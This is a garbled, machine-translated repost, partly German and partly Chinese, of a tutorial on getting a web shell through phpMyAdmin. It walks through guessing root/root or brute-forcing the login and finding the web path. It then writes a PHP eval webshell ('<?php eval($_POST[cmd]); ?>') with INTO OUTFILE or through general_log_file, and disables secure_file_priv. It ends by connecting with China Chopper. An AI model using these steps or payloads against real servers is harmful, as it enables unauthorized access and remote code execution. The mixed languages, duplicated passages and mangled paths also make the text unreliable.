Das Folgende ist eine Einführung in die PhpMyAdmin-Hintergrund-Getshell (Penetrationstest) aus der phpmyadminTutorial-Kolumne. Ich hoffe, dass sie für Freunde hilfreich sein wird, die sie benötigen!
PhpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist und es Administratoren ermöglicht, die Webschnittstelle zur Verwaltung von MySQL-Datenbanken zu verwenden. Diese Weboberfläche kann eine bessere Möglichkeit sein, komplexe SQL-Syntax auf einfache Weise einzugeben, insbesondere wenn es um den Import und Export großer Datenmengen geht.
Wenn nach dem Sammeln und Erkennen von Informationen auf dem Ziel festgestellt wird, dass es ein phpmyadmin-Verzeichnis gibt (versuchen Sie es mit: http://ip:port/phpmyadmin/
), dann über das schwache Passwort ( http://ip:端口/phpmyadmin/
)时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。
最方便的是用select @@basedir;
直接查(但有时没法查出来,只能另寻它法):
根据上面的反馈,我们可以看到 MySQL 的位置在 D:softphpStudyMySQL
目录下。
获得网站路径后就可以企图上传木马了,最常用的是通过into outfile
在网站根目录上直接写入一句话木马:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';
但在新版的mysql中,这句话并没有运行成功。
Mysql新特性secure_file_priv
会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';
命令来查看该参数:
当secure_file_priv
为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini
文件,在[mysqld]内加入secure_file_priv =""
即可:
当secure_file_priv
的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_log
和 general_log file
。
查看日志状态的命令:show variables like '%general%';
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log
Sie können das Root-Passwort des Kontos (root) direkt ausprobieren oder Brute Force verwenden, um den Verwaltungshintergrund aufzurufen. Es gibt viele Möglichkeiten, die Shell zu erhalten.
select @@basedir;
direkt zu prüfen (aber manchmal kann man es nicht herausfinden, also muss man einen anderen Weg finden): 🎜🎜🎜Dem obigen Feedback können wir entnehmen, dass MySQL vorhanden ist befindet sich im Verzeichnis D: softphpStudyMySQL
. 🎜🎜Nachdem Sie den Website-Pfad erhalten haben, können Sie versuchen, den Trojaner hochzuladen. Die häufigste Methode besteht darin, einen Trojaner-Satz direkt in das Stammverzeichnis der Website über in die Ausgabedatei
zu schreiben: 🎜🎜 select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';
Aber in der neuen Version von MySQL wurde dieser Satz nicht erfolgreich ausgeführt. 🎜🎜 Neue MySQL-Funktionen secure_file_priv
wirkt sich auf das Lesen und Schreiben von Dateien aus. Dieser Parameter wird verwendet, um den Import und Export einzuschränken. Wir können den Befehl globale Variablen wie '%secure%' anzeigen;
verwenden, um diesen Parameter anzuzeigen: 🎜🎜 Wenn secure_file_priv
NULL ist, bedeutet dies, dass MySQL vom Import und Export ausgeschlossen ist, sodass ein Fehler auftritt. Damit die Anweisung erfolgreich exportiert werden kann, müssen Sie die Datei my.ini
im Mysql-Ordner ändern und secure_file_priv =""
zu [mysqld] hinzufügen: 🎜🎜 Wenn secure_file_priv
Wenn der Wert von > hat keinen bestimmten Wert, was bedeutet, dass es keine Einschränkung für den Import/Export von mysqld gibt und der Exportbefehl zu diesem Zeitpunkt ausgeführt werden kann. 🎜🎜Verwenden von MySQL-Protokolldateien🎜🎜MySQL-Version 5.0 und höher erstellt Protokolldateien. Durch Ändern der globalen Variablen des Protokolls können Sie auch eine Getshell erstellen. Sie müssen aber auch über Lese- und Schreibberechtigungen für die generierten Protokolle verfügen. (Hinweis: Der persönliche Test unter Linux war aufgrund von Berechtigungsproblemen nicht erfolgreich.) Lassen Sie uns zunächst zwei globale MySQL-Variablen einführen: general_log
und general_log file
. 🎜zeige Variablen wie „%general%“;
🎜🎜 Wenn in der obigen Konfiguration „Allgemein“ aktiviert ist, werden die von 🎜 ausgeführten SQL-Anweisungen in WIN-30DFNC8L78A angezeigt .log
Datei 🎜. 🎜Wenn Sie dann general_log_file
的值,那么所执行的sql语句就会对应生成,进而getshell。
对应就会生成xxx.php文件
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
ändern, können Sie die in der Protokolldatei aufgezeichnete Trojaner-Anweisung sehen:
Schließlich die chinesische Chopper-Verbindung, getshell:
Das obige ist der detaillierte Inhalt vonPHPMyAdmin-Hintergrund-Getshell (Penetrationstest). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!